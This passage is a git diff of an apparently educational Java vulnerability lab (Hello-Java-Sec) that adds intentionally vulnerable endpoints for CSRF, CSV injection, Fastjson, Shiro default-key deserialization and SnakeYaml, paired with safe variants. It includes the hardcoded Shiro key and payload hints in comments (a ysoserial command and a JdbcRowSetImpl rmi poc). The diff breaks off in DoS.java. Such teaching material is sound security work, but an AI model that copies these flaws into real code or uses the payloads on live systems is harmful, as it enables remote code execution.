diff --git a/.gitignore b/.gitignore index ea6a455..888cca3 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,8 @@ /logs/ /target/ /out +/backups/ +/docker_mysql/ .apt_generated .classpath .factorypath diff --git a/Dockerfile b/Dockerfile index b661875..7d071f7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,11 +1,11 @@ -FROM java:8 +FROM openjdk:8 VOLUME /tmp -ADD ./target/javasec-1.7.jar app.jar +COPY ./target/javasec-*.jar /app.jar EXPOSE 8888 -RUN sh -c 'touch /app.jar' - ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"] + +CMD ["--spring.profiles.active=docker"] diff --git a/README.md b/README.md index c216b4d..da8ba45 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,24 @@ -# ☕️ Hello Java Sec ![Stage](https://img.shields.io/badge/Release-DEV-brightgreen.svg) ![Build Status](https://img.shields.io/badge/Version-1.10-red.svg) -> Java漏洞平台,结合漏洞代码和安全编码,帮助研发同学理解和减少漏洞,代码仅供参考 +# ☕️ Hello Java Sec ![Stage](https://img.shields.io/badge/Release-DEV-brightgreen.svg) ![Build Status](https://img.shields.io/badge/Version-1.15-red.svg) -![](media/16304933749187.jpg) +> Hello Java Security 通过结合漏洞场景和安全编码,帮助安全和研发团队理解漏洞原理,从而减少漏洞的产生,代码仅供参考 :) +![](media/1.png) - 默认账号:admin/admin ## Vulnerability + - [x] SQLi - [x] XSS - [x] RCE -- [x] Deserialize +- [x] Deserialization - [x] SSTI - [x] SpEL - [x] SSRF +- [x] IDOR - [x] Directory Traversal - [x] Redirect -- [ ] CSRF +- [x] CSRF - [x] File Upload - [x] XXE - [x] Actuator @@ -26,39 +28,52 @@ - [x] JNDI - [x] Dos - [x] Xpath +- [x] IPForgery - [x] Jwt -- [ ] more +- [x] Password Reset +- [ ] more and more ![](media/16304936834843.jpg) ## Run -### IDEA -配置数据库连接,数据库文件`db.sql` + +### 手工部署 +配置数据库 + +导入数据库文件 `src/main/resources/db.sql` +配置数据库连接 `src/main/application.properties` + ``` spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test spring.datasource.username=root spring.datasource.password=1234567 ``` -### Jar运行 -> JDK 1.8环境 +编译并启动 + +> 使用JDK 1.8环境,高版本会报错 + ``` git clone https://github.com/j3ers3/Hello-Java-Sec cd Hello-Java-Sec mvn clean package -DskipTests -java -jar target/hello-1.0.0-SNAPSHOT.jar +java -jar target/javasec-x.x.jar ``` -### Docker运行 +### Docker部署 + ``` -mvn clean package -./deploy.sh +git clone https://github.com/j3ers3/Hello-Java-Sec +cd Hello-Java-Sec +mvn clean package -DskipTests +docker-compose up ``` -![](media/16512152886514.jpg) +![](media/17327839424016.jpg) ## 技术架构 + - Java 1.8 -- SpringBoot 4.0 +- SpringBoot 2.4.1 - Bootstrap 4.6.0 - Codemirror 5.62.0 diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..c8374c2 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,23 @@ +version: '3' +services: + db: + image: mysql:8.3.0 + environment: + MYSQL_ROOT_PASSWORD: 1234567 + MYSQL_DATABASE: test + ports: + - "3306:3306" + volumes: +# - ./docker_mysql:/var/lib/mysql + - ./src/main/resources/db.sql:/docker-entrypoint-initdb.d/init.sql + restart: always + + javasec: + build: + context: . + dockerfile: Dockerfile + container_name: hello_javasec_container + depends_on: + - db + ports: + - "8888:8888" diff --git a/media/1.png b/media/1.png new file mode 100644 index 0000000..28d17ef Binary files /dev/null and b/media/1.png differ diff --git a/media/16512152886514.jpg b/media/16512152886514.jpg deleted file mode 100644 index 3a866da..0000000 Binary files a/media/16512152886514.jpg and /dev/null differ diff --git a/media/17327839424016.jpg b/media/17327839424016.jpg new file mode 100644 index 0000000..363bb4e Binary files /dev/null and b/media/17327839424016.jpg differ diff --git a/pom.xml b/pom.xml index b49fd3a..bcd0ad8 100644 --- a/pom.xml +++ b/pom.xml @@ -11,7 +11,7 @@ com.best javasec - 1.10 + 1.15 hello java sec Java Sec jar @@ -28,20 +28,20 @@ spring-boot-starter-jdbc - + org.springframework.boot spring-boot-starter-thymeleaf - + org.apache.velocity velocity 1.7 - + org.mybatis.spring.boot mybatis-spring-boot-starter @@ -54,7 +54,7 @@ unboundid-ldapsdk - + mysql mysql-connector-java @@ -81,7 +81,7 @@ 1.2.41 - + com.thoughtworks.xstream xstream @@ -95,7 +95,7 @@ runtime - + org.springframework.boot spring-boot-starter-actuator @@ -140,6 +140,7 @@ springfox-swagger-ui 2.10.5 + io.springfox springfox-swagger2 @@ -149,7 +150,7 @@ org.jsoup jsoup - 1.12.2 + 1.15.4 @@ -171,7 +172,6 @@ 1.2.4 - com.fasterxml.jackson.core @@ -197,7 +197,7 @@ 1.9 - + org.yaml snakeyaml @@ -211,6 +211,24 @@ 2.2.0.0 + + org.owasp.encoder + encoder + 1.2.3 + + + + org.apache.httpcomponents + httpclient + 4.5.14 + + + + xalan + xalan + 2.7.3 + + org.apache.logging.log4j @@ -242,7 +260,6 @@ 1.6 - com.github.whvcse @@ -275,6 +292,26 @@ 0.9.5.2 + + org.apache.commons + commons-csv + 1.9.0 + + + + + javax.xml.bind + jaxb-api + 2.3.1 + + + + + org.springframework.boot + spring-boot-starter-freemarker + 3.4.3 + + @@ -296,25 +333,6 @@ - - - org.cyclonedx - cyclonedx-maven-plugin - 2.7.2 - - - compile - - makeAggregateBom - - - - - xml - - - - diff --git a/src/main/java/com/best/hello/config/MvcConfig.java b/src/main/java/com/best/hello/config/MvcConfig.java index 91eae2a..e1e8a8a 100644 --- a/src/main/java/com/best/hello/config/MvcConfig.java +++ b/src/main/java/com/best/hello/config/MvcConfig.java @@ -12,7 +12,8 @@ public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/").setViewName("index"); registry.addViewController("/login").setViewName("login"); registry.addViewController("/index").setViewName("index"); - registry.addViewController("/index/xss").setViewName("xss"); + registry.addViewController("/index/xss").setViewName("xss_reflect"); + registry.addViewController("/index/xss/store").setViewName("xss_store"); registry.addViewController("/index/rce").setViewName("rce"); registry.addViewController("/index/spel").setViewName("spel"); registry.addViewController("/index/ssti").setViewName("ssti"); @@ -21,14 +22,16 @@ public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/index/ssrf").setViewName("ssrf"); registry.addViewController("/index/traversal").setViewName("traversal"); registry.addViewController("/index/xxe").setViewName("xxe"); - registry.addViewController("/index/deserialize").setViewName("deserialize"); + registry.addViewController("/index/deserialization").setViewName("deserialization"); registry.addViewController("/index/redirect").setViewName("redirect"); registry.addViewController("/index/actuator").setViewName("actuator"); - registry.addViewController("/index/idor").setViewName("idor"); + registry.addViewController("/index/idor").setViewName("idor/idor_horizontal"); + registry.addViewController("/index/idor/horizontal").setViewName("idor/idor_horizontal"); + registry.addViewController("/index/idor/vertical").setViewName("idor/idor_vertical"); registry.addViewController("/index/upload").setViewName("upload"); registry.addViewController("/index/xstream").setViewName("xstream"); registry.addViewController("/index/fastjson").setViewName("fastjson"); - registry.addViewController("/index/xff").setViewName("xff"); + registry.addViewController("/index/ipforgery").setViewName("ip_forgery"); registry.addViewController("/index/unauth").setViewName("unauth"); registry.addViewController("/index/jackson").setViewName("jackson"); registry.addViewController("/index/log4j").setViewName("log4j"); @@ -40,6 +43,9 @@ public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/index/swagger").setViewName("swagger"); registry.addViewController("/index/jwt").setViewName("jwt"); registry.addViewController("/index/xpath").setViewName("xpath"); + registry.addViewController("/index/csv").setViewName("csv_injection"); + registry.addViewController("/index/shiro").setViewName("shiro"); + registry.addViewController("/index/passwordreset").setViewName("logicflaw/passwordreset"); } @@ -48,6 +54,6 @@ public void addViewControllers(ViewControllerRegistry registry) { public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new LoginHandlerInterceptor()) .addPathPatterns("/**") - .excludePathPatterns("/user/login", "/user/ldap", "/login", "/css/**", "/js/**", "/img/**", "/Unauth/**", "/captcha"); + .excludePathPatterns("/user/login", "/user/ldap", "/login", "/css/**", "/js/**", "/img/**", "/video/**", "/vulnapi/unauth/**", "/captcha"); } } diff --git a/src/main/java/com/best/hello/controller/Admin.java b/src/main/java/com/best/hello/controller/Admin.java index c7f02e2..a861457 100644 --- a/src/main/java/com/best/hello/controller/Admin.java +++ b/src/main/java/com/best/hello/controller/Admin.java @@ -5,6 +5,8 @@ import lombok.extern.slf4j.Slf4j; import org.apache.catalina.util.ServerInfo; +import org.springframework.boot.SpringBootVersion; +import org.springframework.core.SpringVersion; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; @@ -19,16 +21,18 @@ public class Admin { @ApiOperation(value = "查询系统基本信息") - @GetMapping("/info") + @GetMapping("/sysinfo") @ResponseBody public String sysInfo() { Map m = new HashMap<>(); - m.put("app", "Hello Java SEC"); m.put("author", "nul1"); + m.put("github", "https://github.com/j3ers3/Hello-Java-Sec"); m.put("tomcat_version", ServerInfo.getServerInfo()); m.put("java_version", System.getProperty("java.version")); m.put("fastjson_version", JSON.VERSION); + m.put("springboot_version", SpringBootVersion.getVersion()); + m.put("spring_version", SpringVersion.getVersion()); return JSON.toJSONString(m); } diff --git a/src/main/java/com/best/hello/controller/BAC.java b/src/main/java/com/best/hello/controller/BAC.java deleted file mode 100644 index 5cbb26f..0000000 --- a/src/main/java/com/best/hello/controller/BAC.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.best.hello.controller; - -import com.best.hello.entity.User; -import com.best.hello.mapper.UserMapper; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; -import lombok.extern.slf4j.Slf4j; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.HttpSession; -import java.util.List; - -@Slf4j -@RestController -@RequestMapping("/BAC") -public class BAC { - - @Autowired - private UserMapper userMapper; - - @ApiOperation(value = "vul:根据name查询用户信息") - @GetMapping("/vul/info") - public List vul(String name) { - log.info("[vul] 水平越权查询:" + name); - return userMapper.queryByUser(name); - } - - @ApiOperation(value = "safe:只允许查询自己信息") - @GetMapping("/safe/info") - @ResponseBody - public Object safe(String name, HttpSession session) { - log.info("[safe] 水平越权查询:" + name); - String loginUser = (String) session.getAttribute("LoginUser"); - - if (loginUser.equals(name)) { - return userMapper.queryByUser(name); - } else { - return String.format("当前登录:%s,只能查询自己的信息!", loginUser); - } - } - - -} diff --git a/src/main/java/com/best/hello/controller/CORS.java b/src/main/java/com/best/hello/controller/CORS.java index 20c3e59..a2e3489 100644 --- a/src/main/java/com/best/hello/controller/CORS.java +++ b/src/main/java/com/best/hello/controller/CORS.java @@ -12,7 +12,7 @@ @Api("跨域资源伪造漏洞") @RestController -@RequestMapping("/CORS") +@RequestMapping("/vulnapi/cors") public class CORS { /** @@ -34,9 +34,9 @@ public String corsVul(HttpServletRequest request, HttpServletResponse response) @ApiOperation(value = "safe:白名单判断Origin") @CrossOrigin(origins = {"127.0.0.1", "http://127.0.0.1", "https://127.0.0.1"}) @GetMapping("/safe") - public String corsSafe(HttpServletRequest request, HttpServletResponse response) { + public String corsSafe(HttpServletResponse response) { response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Methods", "GET,POST"); return "cors safe"; } - } diff --git a/src/main/java/com/best/hello/controller/CSRF.java b/src/main/java/com/best/hello/controller/CSRF.java index 0ebc9b1..9fe96e6 100644 --- a/src/main/java/com/best/hello/controller/CSRF.java +++ b/src/main/java/com/best/hello/controller/CSRF.java @@ -1,12 +1,89 @@ package com.best.hello.controller; import io.swagger.annotations.Api; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; +import io.swagger.annotations.ApiOperation; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; @Api("跨站请求伪造") @RestController -@RequestMapping("/CSRF") +@RequestMapping("/vulnapi/CSRF") public class CSRF { + @ApiOperation(value = "vul: 危险的转账") + @GetMapping("/transfer/vul") + public Map transferMoney(HttpServletRequest request, HttpServletResponse response, HttpSession session) { + // 从请求中获取转账金额和接收者 + String from = (String) session.getAttribute("LoginUser"); + String amount = request.getParameter("amount"); + String receiver = request.getParameter("receiver"); + + Map result = new HashMap<>(); + result.put("from", from); + result.put("receiver", receiver); + result.put("amount", amount); + result.put("success", true); + return result; + } + + @ApiOperation(value = "vul: referer绕过", notes = "通过referer限制,只允许本站发起的请求,但是referer可以伪造") + @GetMapping("/transfer/referer") + public Map transferMoneySafe(HttpServletRequest request, HttpServletResponse response, HttpSession session) { + String from = (String) session.getAttribute("LoginUser"); + String amount = request.getParameter("amount"); + String receiver = request.getParameter("receiver"); + Map result = new HashMap<>(); + // 校验Referer 判断请求是否来自本站 + String referer = request.getHeader("referer"); + if (referer == null || !referer.startsWith("http://baidu.com")) { + result.put("success", false); + result.put("message", "referer is not valid"); + return result; + } + result.put("from", from); + result.put("receiver", receiver); + result.put("amount", amount); + result.put("success", true); + return result; + } + + @GetMapping("/transfer/genCSRFToken") + public Map genCSRFToken(HttpSession session, Model model) { + String token = UUID.randomUUID().toString(); + session.setAttribute("csrfToken", token); + Map result = new HashMap<>(); + result.put("csrfToken", token); + return result; + } + + @PostMapping("/transfer/doTransferToken") + public Map doTransferToken(HttpServletRequest request, HttpSession session) { + String token = request.getParameter("csrfToken"); + String sessionToken = (String) session.getAttribute("csrfToken"); + String from = (String) session.getAttribute("LoginUser"); + String amount = request.getParameter("amount"); + String receiver = request.getParameter("receiver"); + Map result = new HashMap<>(); + + // 校验CSRF Token + if (!token.equals(sessionToken)) { + result.put("success", false); + result.put("message", "token is not valid"); + return result; + } + + result.put("from", from); + result.put("receiver", receiver); + result.put("amount", amount); + result.put("csrfToken", token); + result.put("success", true); + return result; + } } diff --git a/src/main/java/com/best/hello/controller/CSVInjection.java b/src/main/java/com/best/hello/controller/CSVInjection.java new file mode 100644 index 0000000..4c0e49a --- /dev/null +++ b/src/main/java/com/best/hello/controller/CSVInjection.java @@ -0,0 +1,93 @@ +package com.best.hello.controller; + +import com.best.hello.entity.XSSEntity; +import com.best.hello.mapper.XSSMapper; +import io.swagger.annotations.Api; +import org.apache.commons.csv.CSVFormat; +import org.apache.commons.csv.CSVPrinter; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +@Api("CSV注入漏洞") +@RestController +@RequestMapping("/vulnapi/CSVInjection") +public class CSVInjection { + @Autowired + private XSSMapper xssMapper; + + @PostMapping("/save") + public String save(HttpServletRequest request, HttpSession session) { + String content = request.getParameter("content"); + SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String date = df.format(new Date()); + String user = session.getAttribute("LoginUser").toString(); + xssMapper.add(user, content, date); + return "success"; + } + + @GetMapping("/getData") + public List getData() { + return xssMapper.list(); + } + + @GetMapping("/delete") + public String delete(int id) { + xssMapper.deleteFeedById(id); + return "success"; + } + + @GetMapping("/exportVul") + public void exportVul(HttpServletResponse response) throws Exception { + exportCSV(response, false); + } + + @GetMapping("/exportSafe") + public void exportSafe(HttpServletResponse response) throws Exception { + exportCSV(response, true); + } + + /** + * 导出 CSV 文件 + */ + private void exportCSV(HttpServletResponse response, boolean safe) throws IOException { + List data = xssMapper.list(); + + String fileName = "csv_injection.csv"; + response.setContentType("text/csv"); + response.setHeader("Content-Disposition", "attachment; filename=" + fileName); + + CSVPrinter csvPrinter = new CSVPrinter(response.getWriter(), CSVFormat.DEFAULT + .withHeader("ID", "用户名", "内容", "时间")); + + for (XSSEntity x : data) { + String content = safe ? filterCSVInjection(x.getContent()) : x.getContent(); + csvPrinter.printRecord(x.getId(), x.getUser(), content, x.getDate()); + } + csvPrinter.flush(); + } + + private String filterCSVInjection(String input) { + // 定义需要过滤的特殊字符 + String[] forbiddenChars = {"=", "+", "-", "@"}; + + // 遍历特殊字符,将其替换为空字符串 + for (String forbiddenChar : forbiddenChars) { + input = input.replace(forbiddenChar, ""); + } + + return input; + } + + +} diff --git a/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java b/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java index af1a5b6..8de5d1b 100644 --- a/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java +++ b/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java @@ -3,6 +3,7 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -17,19 +18,29 @@ @Api("Fastjson反序列化漏洞") @Slf4j @RestController -@RequestMapping("/Fastjson") +@RequestMapping("/vulnapi/Fastjson") public class FastjsonVul { @RequestMapping(value = "/vul", method = {RequestMethod.POST}) public String vul(@RequestBody String content) { - try { - // 转换成object - JSONObject jsonToObject = JSON.parseObject(content); - log.info("[vul] Fastjson"); - - return jsonToObject.get("name").toString(); + Object obj = JSON.parse(content); + return obj.toString(); + } catch (Exception e) { + return e.toString(); + } + } + @ApiOperation(value = "safe: safeMode") + @RequestMapping(value = "/safeMode", method = {RequestMethod.POST}) + public String safeMode(@RequestBody String content) { + try { + /* + 开启safeMode特性,(这里低版本就注释了) + ParserConfig.getGlobalInstance().setSafeMode(true); + Object obj = JSON.parse(content); + */ + return "safeMode"; } catch (Exception e) { return e.toString(); } diff --git a/src/main/java/com/best/hello/controller/ComponentsVul/JacksonVul.java b/src/main/java/com/best/hello/controller/ComponentsVul/JacksonVul.java index 910a609..3cfb1ef 100644 --- a/src/main/java/com/best/hello/controller/ComponentsVul/JacksonVul.java +++ b/src/main/java/com/best/hello/controller/ComponentsVul/JacksonVul.java @@ -8,7 +8,7 @@ @Api("Jackson反序列化漏洞") @RestController -@RequestMapping("/Jackson") +@RequestMapping("/vulnapi/Jackson") public class JacksonVul { @RequestMapping("/vul") diff --git a/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java b/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java index 39db08e..b4f81d4 100644 --- a/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java +++ b/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java @@ -8,7 +8,7 @@ @Api("Log4j2 反序列化漏洞") @RestController -@RequestMapping("/Log4j") +@RequestMapping("/vulnapi/Log4j") public class Log4jVul { private static final Logger logger = LogManager.getLogger(Log4jVul.class); diff --git a/src/main/java/com/best/hello/controller/ComponentsVul/ShiroVul.java b/src/main/java/com/best/hello/controller/ComponentsVul/ShiroVul.java index 2dcc262..a6e5d43 100644 --- a/src/main/java/com/best/hello/controller/ComponentsVul/ShiroVul.java +++ b/src/main/java/com/best/hello/controller/ComponentsVul/ShiroVul.java @@ -1,24 +1,89 @@ package com.best.hello.controller.ComponentsVul; -import org.apache.shiro.web.mgt.CookieRememberMeManager; -import org.springframework.stereotype.Controller; +import com.alibaba.fastjson.JSON; +import org.apache.shiro.codec.Base64; +import io.swagger.annotations.Api; +import org.apache.shiro.crypto.AesCipherService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; +import javax.crypto.KeyGenerator; +import javax.crypto.SecretKey; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.util.Base64; -@Controller -@RequestMapping("/Shiro") +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.security.NoSuchAlgorithmException; +import java.util.HashMap; +import java.util.Map; + +import static org.springframework.web.util.WebUtils.getCookie; + +@Api("Shiro <1.2.5 默认密钥致反序列化") +@RestController +@RequestMapping("/vulnapi/shiro") public class ShiroVul { + private static final Logger log = LoggerFactory.getLogger(ShiroVul.class); + private static final String shirokey = "kPH+bIxk5D2deZiIxcaaaA=="; + private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(shirokey); + private final AesCipherService acs = new AesCipherService(); + + private Cookie createDeleteCookie(String name) { + Cookie cookie = new Cookie(name, "deleteMe"); + // 设置过期时间为0,立即删除 + cookie.setMaxAge(0); + return cookie; + } + + @GetMapping("/vul") + public String vul(HttpServletRequest request, HttpServletResponse response) { + /* + 处理cookie的流程:得到rememberMe的cookie值 -> Base64解码 –> AES解密 –> readObject反序列化 + */ + Map m = new HashMap<>(); + log.info("[vul] Shiro <1.2.5 默认密钥致反序列化"); + Cookie cookie = getCookie(request, "rememberMe"); + if (cookie == null) { + m.put("message", "Need rememberMe Cookie"); + return JSON.toJSONString(m); + } - @RequestMapping(value = "/getKey") - public void getShiroKey(HttpServletResponse resp){ - try{ - byte[] key = new CookieRememberMeManager().getCipherKey(); - resp.getWriter().write("shiro key: \n" + new String(Base64.getEncoder().encode(key))); - }catch (Exception ignored){} + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = Base64.decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, DEFAULT_CIPHER_KEY_BYTES).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e) { + response.addCookie(createDeleteCookie("rememberMe")); + m.put("message", "Shiro decrypt error"); + return JSON.toJSONString(m); + } + m.put("message", "Shiro550 deserialize success"); + m.put("flag", "4412b13458511405e1ac81b287f35fbb"); + return JSON.toJSONString(m); + } + /** + * 使用官方生成的方法提供密钥 + */ + @GetMapping("/genkey") + public String genkey() { + KeyGenerator keygen = null; + try { + keygen = KeyGenerator.getInstance("AES"); + } catch (NoSuchAlgorithmException e) { + e.printStackTrace(); + } + SecretKey deskey = keygen.generateKey(); + return Base64.encodeToString(deskey.getEncoded()); } } diff --git a/src/main/java/com/best/hello/controller/ComponentsVul/XStreamVul.java b/src/main/java/com/best/hello/controller/ComponentsVul/XStreamVul.java index 9f25853..a56a377 100644 --- a/src/main/java/com/best/hello/controller/ComponentsVul/XStreamVul.java +++ b/src/main/java/com/best/hello/controller/ComponentsVul/XStreamVul.java @@ -14,7 +14,7 @@ @Api("Xstream反序列化漏洞") @RestController -@RequestMapping("/XStream") +@RequestMapping("/vulnapi/XStream") public class XStreamVul { @RequestMapping("/vul") diff --git a/src/main/java/com/best/hello/controller/Deserialize/Deserialization.java b/src/main/java/com/best/hello/controller/Deserialization/Deserialization.java similarity index 89% rename from src/main/java/com/best/hello/controller/Deserialize/Deserialization.java rename to src/main/java/com/best/hello/controller/Deserialization/Deserialization.java index 956033b..009bcd9 100644 --- a/src/main/java/com/best/hello/controller/Deserialize/Deserialization.java +++ b/src/main/java/com/best/hello/controller/Deserialization/Deserialization.java @@ -1,4 +1,4 @@ -package com.best.hello.controller.Deserialize; +package com.best.hello.controller.Deserialization; import com.best.hello.controller.XXE.Student; import io.swagger.annotations.ApiOperation; @@ -31,7 +31,7 @@ */ @RestController -@RequestMapping("/Deserialize/readObject") +@RequestMapping("/vulnapi/Deserialization") public class Deserialization { Logger log = LoggerFactory.getLogger(Deserialization.class); @@ -40,7 +40,7 @@ public class Deserialization { * payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64 */ @ApiOperation(value = "vul:readObject反序列化") - @RequestMapping("/vul") + @RequestMapping("/readObject/vul") public String readObject(String base64) { try { log.info("[vul] 执行反序列化:" + base64); @@ -63,7 +63,7 @@ public String readObject(String base64) { @ApiOperation(value = "safe:反序列化类白/黑名单控制", notes = "Apache Commons IO的ValidatingObjectInputStream来校验反序列化的类") - @RequestMapping("/safe") + @RequestMapping("/readObject/safe") public String safe(String base64) { try { log.info("[safe] 执行反序列化"); @@ -83,21 +83,15 @@ public String safe(String base64) { } } - /** - * ObjectInputStream.readUnshared 方法并不会执行任意代码,而是只会将序列化数据恢复为原始对象. - */ - @RequestMapping("/safe2") + @ApiOperation(value = "vul:readUnshared反序列化") + @RequestMapping("/readUnshared/vul") public String readUnshared(String base64) { try { log.info("[safe] 执行反序列化:" + base64); base64 = base64.replace(" ", "+"); byte[] bytes = Base64.getDecoder().decode(base64); - - // 将字节转为输入流 ByteArrayInputStream stream = new ByteArrayInputStream(bytes); - - // 反序列化流,将序列化的原始数据恢复为对象 java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); in.readUnshared(); in.close(); diff --git a/src/main/java/com/best/hello/controller/Deserialize/YamlVul.java b/src/main/java/com/best/hello/controller/Deserialization/SnakeYamlVul.java similarity index 80% rename from src/main/java/com/best/hello/controller/Deserialize/YamlVul.java rename to src/main/java/com/best/hello/controller/Deserialization/SnakeYamlVul.java index 71b8fac..624ae2e 100644 --- a/src/main/java/com/best/hello/controller/Deserialize/YamlVul.java +++ b/src/main/java/com/best/hello/controller/Deserialization/SnakeYamlVul.java @@ -1,6 +1,5 @@ -package com.best.hello.controller.Deserialize; +package com.best.hello.controller.Deserialization; -import com.best.hello.entity.Person; import io.swagger.annotations.ApiOperation; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -12,9 +11,9 @@ @RestController -@RequestMapping("/Deserialize/yaml") -public class YamlVul { - Logger log = LoggerFactory.getLogger(YamlVul.class); +@RequestMapping("/vulnapi/Deserialization/SnakeYaml") +public class SnakeYamlVul { + Logger log = LoggerFactory.getLogger(SnakeYamlVul.class); /** * @poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true} @@ -25,7 +24,7 @@ public class YamlVul { public void vul(String content) { Yaml y = new Yaml(); y.load(content); - log.info("[vul] SnakeYaml反序列化: " + content); + log.info("[vul] SnakeYaml反序列化: {}", content); } @ApiOperation(value = "safe:SnakeYaml") @@ -35,7 +34,7 @@ public void safe(String content) { try { Yaml y = new Yaml(new SafeConstructor()); y.load(content); - log.info("[safe] SnakeYaml反序列化: " + content); + log.info("[safe] SnakeYaml反序列化: {}", content); } catch (Exception e) { log.warn("[error] SnakeYaml反序列化失败", e); } diff --git a/src/main/java/com/best/hello/controller/Deserialize/XMLDecoderVul.java b/src/main/java/com/best/hello/controller/Deserialization/XMLDecoderVul.java similarity index 95% rename from src/main/java/com/best/hello/controller/Deserialize/XMLDecoderVul.java rename to src/main/java/com/best/hello/controller/Deserialization/XMLDecoderVul.java index 4a8befe..9577b98 100644 --- a/src/main/java/com/best/hello/controller/Deserialize/XMLDecoderVul.java +++ b/src/main/java/com/best/hello/controller/Deserialization/XMLDecoderVul.java @@ -1,4 +1,4 @@ -package com.best.hello.controller.Deserialize; +package com.best.hello.controller.Deserialization; import io.swagger.annotations.ApiOperation; import org.springframework.web.bind.annotation.GetMapping; @@ -11,7 +11,7 @@ import java.util.HashMap; @RestController -@RequestMapping("/Deserialize/XMLDecoder") +@RequestMapping("/vulnapi/Deserialization/XMLDecoder") public class XMLDecoderVul { private final String path = "src/main/resources/payload/payload3.xml"; diff --git a/src/main/java/com/best/hello/controller/DoS.java b/src/main/java/com/best/hello/controller/DoS.java index 0be7e94..aec9e8e 100644 --- a/src/main/java/com/best/hello/controller/DoS.java +++ b/src/main/java/com/best/hello/controller/DoS.java @@ -1,46 +1,101 @@ package com.best.hello.controller; -import lombok.extern.slf4j.Slf4j; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.ClassPathResource; +import org.springframework.core.io.Resource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; +import org.springframework.http.HttpHeaders; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.ByteArrayOutputStream; +import java.io.File; import java.util.regex.Pattern; -@Slf4j +@Api("DoS") @RestController -@RequestMapping("/DoS") +@RequestMapping("/vulnapi/DoS") public class DoS { + Logger log = LoggerFactory.getLogger(DoS.class); - - /** - * 检查信息: Momo 1005: 正则表达式拒绝服务攻击(RegexDos) - * 当编写的正则表达式存在缺陷时, 攻击者可以构造特殊的字符串来大量消耗系统资源,造成服务中断或停止。 - * - * 错误实践: - * Regex: ([a-z]+)+ - * Regex: (.*[a-z]){n} n >= 10 - * - * 推荐方法: - * (1) 优化Regex语句 - * (2) 换用RE2/J线性时间复杂度引擎 - * com.google.re2j.Pattern p = com.google.re2j.Pattern.compile(REGEX); - * com.google.re2j.Matcher m = p.matcher(request.getParameter("input")); - */ + @ApiOperation(value = "vul: 正则表达式拒绝服务攻击(RegexDos)", notes = "正则表达式 \"(a|aa)+\" 存在无限匹配的可能") @GetMapping("/redos/vul") - public String vul(String content) { - // 